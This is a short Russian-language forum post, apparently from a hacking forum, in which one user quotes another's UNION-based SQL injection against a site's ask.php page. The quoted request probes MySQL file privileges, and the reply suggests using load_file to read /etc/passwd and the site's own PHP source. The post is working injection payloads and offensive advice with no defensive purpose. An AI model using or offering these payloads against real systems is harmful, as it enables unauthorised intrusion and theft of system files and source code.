Показать сообщение отдельно

  #8  
Старый 16.05.2013, 16:03
blesse
Участник форума
Регистрация: 18.01.2012
Сообщений: 162
С нами: 7535126

Репутация: 1
По умолчанию

Цитата:
Сообщение от Evil_Genius  
Есть скуль такого вида:
site.ru/ask.php?page=ask&cid=2+union+select+1,2,3,4,5,6
Выводимые поля 2,5,6
Делаю запрос такого вида чтобы определить file_priv(пробел вставляет форум, без моего участия)
site.ru/ask.php?page=ask&cid=2+union+select+1,File_Priv,3, 4,5,6+from+mysql.user+where+user='ask_user'
На что получаю ошибку
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/site/public_html/ask.php on line 203
Вопрос: Каким макаром сделать чтобы он мне вывел file_priv конкретного юзера?
Че дурью то маяться?load_file('/etc/passwd') ; load_file('/home/site/public_html/ask.php')
 
Ответить с цитированием